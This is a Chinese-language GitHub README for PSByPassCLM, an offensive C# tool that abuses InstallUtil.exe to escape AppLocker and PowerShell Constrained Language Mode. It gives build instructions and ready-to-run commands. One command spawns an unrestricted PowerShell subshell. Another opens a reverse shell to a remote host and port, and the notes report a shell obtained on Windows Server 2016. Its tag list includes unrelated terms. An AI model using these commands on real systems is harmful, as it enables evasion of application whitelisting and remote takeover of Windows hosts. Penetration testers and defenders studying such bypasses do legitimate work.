padovah4ck/PSByPassCLM
GitHub: padovah4ck/PSByPassCLM
利用 InstallUtil.exe 绕过 PowerShell 受限语言模式的 C# 工具,在 AppLocker 环境下获取完整语言模式会话。
Stars: 406 | Forks: 51
# PS ByPassCLM
绕过 PowerShell 受限语言模式
## 描述与参考
当你被困在一个低权限的 PS 控制台中,且 PowerShell 版本 2 引擎不可用,从而无法执行 [PowerShell 降级攻击](http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/) 时,这项技术可能会派上用场。
上述情况可能发生在 [现代] Windows 操作系统(如 Windows 10, Windows Server 2016..)中,这些系统如今默认配备 AppLocker 和 PowerShell 版本 5 (v5)。
当 AppLocker 处于允许模式且 PowerShell 运行在受限模式时,攻击者无法将 PowerShell 语言模式更改为完整模式以运行攻击工具。
恕我直言,无法使用核心语言功能(例如,将脚本加载到内存中等...)是一件非常痛苦的事情。
“PowerShell v5 检测到 AppLocker 允许模式生效时,会将 PowerShell 语言设置为受限模式,从而严格限制了系统的攻击面。
当 AppLocker 处于允许模式且 PowerShell 运行在受限模式时,攻击者无法将 PowerShell 语言模式更改为完整模式以运行攻击工具。” [[来源]](https://adsecurity.org/?p=2604)
## 构建二进制文件
该项目使用 C# 编写。所有源代码(虽然只有几行)已提交:.csproj, .sln ...
IDE - Visual Studio 2015。你应该能够使用默认配置 Debug/X64 轻松编译并构建二进制文件。
你可能只需要修复位于 GAC 文件夹中的 System.Management.Automation 引用
```
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
```
## 用法
好吧,这里没什么新东西,我们将使用古老且众所周知的 "InstallUtil.exe" 技巧来绕过 AppLocker。
编译二进制文件后,在目标主机上执行以下命令。
此外,你的二进制文件不必是 "exe",因为 InstallUtil.exe 可以解析任何文件类型(.txt, .bin....)
此命令在当前控制台中打开一个子 shell
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
此命令尝试打开一个 PS 反向 shell(我已将其作为救命稻草绑定到源代码中 :-) ..)
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
## 测试
在以下环境中测试 (Windows Server 2016)


当前控制台中的 PS 进程

尝试打开 PS 反向 shell

获取到 shell

## 有用的链接
https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/
https://adsecurity.org/?p=2604
https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/
https://blog.stealthbits.com/how-attackers-are-bypassing-powershell-protections/
https://decoder.cloud/2017/11/17/we-dont-need-powershell-exe-part-3/
## 作者
此代码由 Chris D. [@padovah4ck](https://twitter.com/padovah4ck) // [LinkedIn](https://www.linkedin.com/in/chrisdanieli/) 开发 //
使用风险自负。我不承担任何责任
 [如果你喜欢,请我喝杯啤酒 ;-)](https://www.buymeacoffee.com/padovah4ck)
标签:AI合规, AppLocker绕过, CLM绕过, Conpot, DNS 反向解析, InstallUtil, IPv6, .NET安全, OpenCanary, PowerShell, System.Management.Automation, Windows安全, 协议分析, 受约束语言模式, 安全机制逃逸, 提权, 权限提升, 白名单绕过, 私有化部署, 防御规避